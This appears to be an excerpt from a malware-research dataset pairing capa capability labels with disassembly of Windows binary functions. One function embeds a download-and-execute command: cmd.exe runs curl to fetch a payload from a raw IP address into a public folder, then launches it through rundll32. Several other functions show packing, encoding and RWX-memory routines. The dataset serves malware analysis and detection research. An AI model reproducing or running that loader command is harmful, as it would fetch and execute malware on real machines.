joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140074110
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x1400970c0]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rbp - 9], eax
mov r8d, 0xf003f
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
mov dword [rbp + 0x1f], eax
mov qword [rbp + 0x27], rax
mov qword [rbp + 0x2f], rax
mov qword [rbp + 0x37], rax
mov dword [rbp + 0x3f], eax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x14007423f
mov r8d, 0xf01ff
mov qword [rsp + 0xa0], rbx
lea rdx, [0x140089920]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x140074235
lea rax, [rbp - 9]
mov r9d, Ordinal_41
lea r8, [rbp - 1]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140074235
cmp dword [rbp + 3], 4
jne 0x140074209
lea r8, [rbp + 0x27]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140074216
cmp dword [rbp + 3], 1
je 0x140074209
lea rax, [rbp - 9]
mov r9d, Ordinal_41
lea r8, [rbp - 1]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140074216
cmp dword [rbp + 3], 1
jne 0x1400741e1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x14007422c
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x140074237
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14006e370
mov rdi, qword [rsp + 0xa8]
add rsp, 0x90
pop rbp
ret
Function at 0x140074ef0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x1310]
mov eax, 0x1410
call fcn.14006ecd0
sub rsp, rax
mov rax, qword [0x1400970c0]
xor rax, rsp
mov qword [rbp + 0x1300], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 0x3e
lea rdx, str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
lea rcx, [rsp + 0x48]
call fcn.140003420
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov r10d, 0xffffffff
mov dword [rbp + 0x12f4], r10d
mov dword [rsp + 0x74], eax
mov ecx, 1
nop dword [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x74], edx
inc rcx
cmp rcx, 0x270
jb 0x140074f70
mov dword [rsp + 0x70], 0x270
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
add rdx, qword [rsp + 0x58]
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae r9, qword [rsp + 0x48]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov rax, 0xffffffffffffffff
mov qword [rsp + 0x38], rax
mov r8d, 0x40
nop word [rax + rax]
dec r8
shr rax, 1
cmp rax, r10
ja 0x140074fe0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x28]
mov rcx, r9
call fcn.140004350
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov r8d, reloc.WS2_32.dll_recvfrom
cmp qword [rsp + 0x58], r8
cmovb r8, qword [rsp + 0x58]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.140003420
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140075083
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007507e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007507e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006e3d4
mov rax, rbx
mov rcx, qword [rbp + 0x1300]
xor rcx, rsp
call fcn.14006e370
mov rbx, qword [rsp + 0x1428]
add rsp, 0x1410
pop rbp
ret
Function at 0x1400a7540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x1400a756d
xor al, al
jmp 0x1400a76cf
mov rax, qword [0x1400c76c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400c76c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400c76d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400c76d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400c76e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400c76e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400c76f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400c76f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x1400c7700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1400a76c1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x1400a7619
mov r11d, 2
jmp 0x1400a763d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x1400a7633
mov r11d, 1
jmp 0x1400a763d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x1400a76e5
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x1400a7682
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x1400a769a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1400a76aa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1400a76b8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x1400a7600
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1400a76ca
Function at 0x140009380
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
cmp r8, 0x201
jae 0x140009410
jmp 0x1400093ff
jae 0x1400094d0
cmp r8, 0x201
jae 0x140009410
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140009468
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x14000943f
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140022450
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3e8], rax
mov rdi, qword [rbp + 0x3d0]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x3d8], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140009491
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140009538
mov r8d, r14d
cmp r15, r8
jne 0x1400093f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14000955b
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400093ff
jmp 0x140009410
cmp rsi, r8
jb 0x140009575
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.14000c3a0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rdi, rdi
je 0x140009521
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rdi
call fcn.140006620
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test rdi, rdi
jne 0x140009509
jmp 0x140009521
lea rcx, str.internal_error:_entered_unreachable_code_rustc_d5c2e9c342b358556da91d61ed4133f6f50fc0c3library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140022fe0
jmp 0x14000958a
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.140023430
ud2
Function at 0x14000cda0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x14000cdd0
test ecx, ecx
jne 0x14000ce20
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x14000cddc
test ecx, ecx
jne 0x14000ce20
mov rcx, rdi
call fcn.14000cc80
movzx eax, al
test bpl, bpl
jne 0x14000ce27
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x14000ce13.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x14000cf98]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x14000ce13.2
xor eax, eax
test bpl, bpl
je 0x14000cdec
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x14000cf79
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x14000ce5a
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x14000ced9
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x14000cea0
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x14000cebb
inc rax
dec rdi
cmp rax, 1
jne 0x14000ce80
jmp 0x14000ced9
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x14000cebb
cmp ebx, 0x5c
je 0x14000cebb
inc rax
dec rdi
cmp rax, 1
jne 0x14000cea0
jmp 0x14000ced9
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x14000cf87
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x14000cf03
mov al, 9
cmp rdx, 2
je 0x14000cf07
cmp rdx, 1
jne 0x14000cf17
cmp byte [r8], 0x2e
jne 0x14000cf17
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x14000cf17
mov al, 0xa
jmp 0x14000cf17
cmp byte [r8], 0x2e
jne 0x14000cf17
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov byte [rsi + 8], al
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x14000ce13.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x14000ce13.2
mov ecx, 2
jmp case.0x14000ce13.2
lea r8, str.library_std_srcpath.rs
call fcn.1400233b0
ud2
lea r8, str.library_std_srcpath.rs
call fcn.1400233b0
ud2
Function at 0x140011b50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140026720]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140011b94
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140011bfa
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x140011c31
test eax, eax
js 0x140011c0b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140011c24
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14000bee0
mov rcx, rax
call fcn.140007070
mov ecx, 7
int 0x29
ud2

Function at 0x1400201d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14002024a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140020240
cmp r10, r11
jb 0x1400202e3
cmp r10, rdx
ja 0x1400202f7
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140020242
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140020220
jmp 0x1400202b7
ja 0x14002024a
mov r11, r10
cmp rax, r8
jne 0x1400201f2
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400202bb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140020290
mov r8, r10
sub ecx, r9d
jns 0x1400202ae
jmp 0x1400202bd
cmp r10, rdx
je 0x1400202c9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x1400202bd
xor al, 1
cmp r8, rdx
jne 0x140020270
jmp 0x1400202bd
xor eax, eax
jmp 0x1400202bd
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuelibrarycore_src_nummod.rsfrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140022fe0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400234b0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140023430
ud2
Function at 0x140021ddc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140021e26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140021e26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140021e26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140021e26
cmp dword [rcx + 0x84], 0xe
jbe 0x140021e26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140021e28
xor al, al
add rsp, 0x28
ret
Function at 0x14096d2c0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14096d447
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14096d2f1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14096d2d7
add dl, dl
jne 0x14096d2fe
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14096d35e
xor eax, eax
add dl, dl
jne 0x14096d30d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14096d415
add dl, dl
jne 0x14096d31e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14096d32b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14096d338
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14096d345
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14096d352
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14096d2e6
mov eax, 1
add dl, dl
jne 0x14096d36e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14096d37b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14096d363
sub eax, ebx
mov ebx, 1
jne 0x14096d3b4
mov ecx, 1
add dl, dl
jne 0x14096d396
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14096d3a3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14096d38b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096d2e6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14096d3d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14096d3dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14096d3c5
cmp eax, 0x7d00
jae 0x14096d403
cmp eax, 0x500
jb 0x14096d3fe
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096d2e6
cmp eax, 0x7f
ja 0x14096d406
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14096d2e6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14096d43a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14096d2e6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x2d9be13a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
xor ecx, ecx
lea r9, str._c_curl__o_c:userspublicPM7zc0iWd.dat_http:__95.164.17.59_ZIbr7_n7itimeout_15rundll32_c:userspublicPM7zc0iWd.dat_scab__k_besogon728
lea r8, str.cmd.exe
lea rdx, str.open
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov r9d, 0x10
lea r8, str.Error
xor ecx, ecx
lea rdx, str.The_data_is_invalid.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x38
ret

Function at 0x2d9be15a0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2d9be22a0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2d9be22a0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x2d9be1610
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x2d9be7064]
mov r12, rcx
test ebx, ebx
jle 0x2d9be1740
mov rax, qword [0x2d9be7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x2d9be165c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2d9be16e3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x2d9be1640
mov rcx, r12
call fcn.2d9be1d90
mov rsi, rax
test rax, rax
je 0x2d9be1762
mov rax, qword [0x2d9be7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.2d9be1ec0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x2d9be7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2d9be1747
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2d9be16dc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2d9be16f0
add dword [0x2d9be7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x2d9be7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2d9be16dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2d9be15a0
nop dword [rax]
xor ebx, ebx
jmp 0x2d9be1667
mov rax, qword [0x2d9be7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2d9be15a0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.2d9be15a0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x2d9be1a00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2d9be70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2d9be7080]
test rbx, rbx
je 0x2d9be1a54
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x2d9be1a4b
test r12, r12
je 0x2d9be1a4b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2d9be1a30
lea rcx, [0x2d9be70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2d9be1d90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2d9be4340]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2d9be1db0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2d9be1db8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2d9be1db0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x2d9be1e05
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2d9be1dfc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2d9be1db0
add rax, 0x28
cmp rax, r9
jne 0x2d9be1de8
xor eax, eax
ret

Function at 0x2d9be1e10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2d9be4340]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2d9be1e30
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2d9be1e38
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x2d9be1e30
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x2d9be1ec0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2d9be4340]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2d9be1ee0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x2d9be1ee8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140005f60
Capabilities:
Get memory capacity

Disassembly:
push rbx
sub rsp, 0x2a0
movaps xmmword [rsp + 0x290], xmm6
mov rax, qword [0x14006f020]
xor rax, rsp
mov qword [rsp + 0x280], rax
lea rax, vtable.CKcsLogging.0
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x28]
call fcn.1400270c0
nop
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0x804
cmp ax, cx
jne 0x14000616c
xor eax, eax
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], 0xf
mov byte [rsp + 0x120], al
mov dword [rsp + 0x140], 0x40
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140006112
xorps xmm6, xmm6
mov rdx, qword [rsp + 0x148]
mov rcx, rdx
and ecx, 0x3fffffff
shr rdx, 0x1e
test rcx, rcx
je 0x140006041
shr rcx, 0x14
xorps xmm6, xmm6
test rcx, rcx
js 0x140006024
cvtsi2sd xmm6, rcx
jmp 0x140006039
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
